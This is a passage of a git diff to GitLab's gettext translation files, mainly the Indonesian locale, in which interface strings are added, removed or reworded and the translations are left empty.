-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index 6692a9fd2d2..d5849e63d4a 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,7 +1418,7 @@ msgid_plural "%d roles"
msgstr[0] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgid "1 week remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
